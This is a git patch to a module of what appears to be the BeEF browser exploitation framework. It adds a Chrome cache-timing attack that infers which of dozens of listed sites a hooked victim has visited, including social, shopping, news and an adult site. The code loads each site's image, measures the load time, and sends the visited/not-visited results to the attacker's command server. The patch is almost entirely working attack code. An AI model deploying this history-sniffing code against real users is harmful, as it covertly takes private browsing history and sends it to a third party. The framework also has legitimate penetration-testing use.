From c16479a14e6c883c6638a2d280547f784787742c Mon Sep 17 00:00:00 2001 From: qswain2 Date: Fri, 19 Apr 2013 00:53:26 -0400 Subject: [PATCH] Add chrome support to get_visited_domains Added chrme implementation based on visipisi --- .../browser/get_visited_domains/command.js | 147 ++++++++++++++++-- .../browser/get_visited_domains/config.yaml | 2 +- 2 files changed, 138 insertions(+), 11 deletions(-) diff --git a/modules/browser/get_visited_domains/command.js b/modules/browser/get_visited_domains/command.js index 29fa1500f..917135e33 100644 --- a/modules/browser/get_visited_domains/command.js +++ b/modules/browser/get_visited_domains/command.js @@ -133,7 +133,7 @@ if (beef.browser.isIE() == 1) { var MAX_ATTEMPTS = 1; } -if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ +if (beef.browser.isO() == 1){ /**************** * SCANNED URLS * ****************/ @@ -212,7 +212,7 @@ function perform_check() { if (beef.browser.isFF() == 1) { setTimeout(wait_for_read, 1); } - if(beef.browser.isC() == 1 || beef.browser.isO() == 1){ + if(beef.browser.isO() == 1){ setTimeout(wait_for_read, 1); } } @@ -242,11 +242,10 @@ function wait_for_read() { setTimeout(wait_for_read, 0); } } - if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + if (beef.browser.isO() == 1){ try{ - if(frames['f'].location.href != 'about:blank'){ - throw 1; - } + + if(frames['f'].location.href != 'about:blank') throw 1; frames['f'].stop(); document.getElementById('f').src = 'javascript:""'; @@ -280,7 +279,7 @@ function navigate_to_target() { if (beef.browser.isIE() == 1) { setTimeout(wait_for_noread, 0); } - if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + if (beef.browser.isO() == 1){ setTimeout(wait_for_noread, 1); } urls++; @@ -318,7 +317,7 @@ function wait_for_noread() { } sched_call(wait_for_noread); } - if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + if (beef.browser.isO() == 1){ if (frames['f'].location.href == undefined){ confirm_visited = true; throw 1; @@ -343,7 +342,7 @@ function maybe_test_next() { if (beef.browser.isIE() == 1) { document.getElementById("f").src = 'about:blank'; } - if (beef.browser.isC() == 1 || beef.browser.isO() == 1) { + if (beef.browser.isO() == 1) { document.getElementById('f').src = 'about:blank'; } if (target_off < targets.length) { @@ -396,7 +395,7 @@ function reload(){ /* The handler for "run the test" button on the main page. Dispenses advice, resets state if necessary. */ function start_stuff() { - if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isC() == 1 || beef.browser.isO() == 1) { + if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) { target_off = 0; attempt = 0; confirmed_visited = false; @@ -409,11 +408,139 @@ function start_stuff() { } } +/**************/ +/***Visipisi***/ +/**************/ +var vp_result = {}; + +var visipisi = { + webkit: function(url, cb) { + var start; + var loaded = false; + var runtest = function() { + window.removeEventListener("message", runtest, false); + var img = new Image(); + start = new Date().getTime(); + try{ + img.src = url; + } catch(e) {} + var messageCB = function (e){ + var now = new Date().getTime(); + if (img.complete) { + delete img; + window.removeEventListener("message", messageCB, false); + cbWrap(true); + } else if (now - start > 10) { + delete img; + if (window.stop !== undefined) + window.stop(); + else + document.execCommand("Stop",false); + window.removeEventListener("message", messageCB, false); + cbWrap(false); + } else { + window.postMessage('','*'); + } + + }; + window.addEventListener("message", messageCB, false); + window.postMessage('','*'); + }; + cbWrap = function (value) {cb(value);}; + window.addEventListener("message", runtest, false); + window.postMessage('','*'); + } +}; + +function visipisiCB(vp, endCB, sites, urls, site, result){ + if(result === null){ + vp_result[site] = 'Whoops'; + } + else{ + vp_result[site] = result ? 'visited' : 'not visited'; + } + var next_site = sites.pop(); + if(next_site) + vp( urls[next_site], function (result) { + visipisiCB(vp, endCB, sites, urls, next_site, result); + }); + else + endCB(); +} + +function getVisitedDomains(){ + var tests = { + facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png', + twitter: 'https://twitter.com/images/spinner.gif', + digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png', + reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png', + hn: 'http://ycombinator.com/images/y18.gif', + stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png', + wired: 'http://www.wired.com/images/home/wired_logo.gif', + xkcd: 'http://imgs.xkcd.com/s/9be30a7.png', + linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png', + slashdot: 'http://a.fsdn.com/sd/logo_w_l.png', + myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg', + engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png', + lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png', + pandora: 'http://www.pandora.com/img/logo.png', + youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif', + yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif', + google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png', + hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png', + cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif', + bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png', + reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif', + wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png', + amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png', + ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif', + newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png', + bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif', + walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif', + perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg', + abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif', + msy: 'http://msy.com.au/images/MSYLogo-long.gif', + techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg', + borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif', + mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png', + anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png', + tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png', + shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif', + staticice: 'http://staticice.com.au/images/banner.jpg', + }; + + var sites = []; + for (var k in tests) + sites.push(k); + sites.reverse(); + + vp = visipisi.webkit; + var first_site = sites.pop(); + var end = function() { + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result)); + } + vp(tests[first_site], function(result) { + visipisiCB(vp, end, sites, tests, first_site, result); + }); +} + +function prepResult(results){ + var result_str ='
'; + for(r in results){ + result_str += r + ':' + results[r]+'
'; + } + return result_str; +} beef.execute(function() { + if(beef.browser.isC() == 1){ + getVisitedDomains(); + + } else { urls = undefined; exec_next = null; start_stuff(); + } }); diff --git a/modules/browser/get_visited_domains/config.yaml b/modules/browser/get_visited_domains/config.yaml index f253fef1d..c0bc6991c 100644 --- a/modules/browser/get_visited_domains/config.yaml +++ b/modules/browser/get_visited_domains/config.yaml @@ -10,7 +10,7 @@ beef: category: "Browser" name: "Get Visited Domains" description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done by Michal Zalewski at http://lcamtuf.coredump.cx/cachetime/" - authors: ["@keith55", "quentin"] + authors: ["@keith55","oxplot","quentin"] target: working: ["FF", "IE", "O"] not_working: ["C", "S"]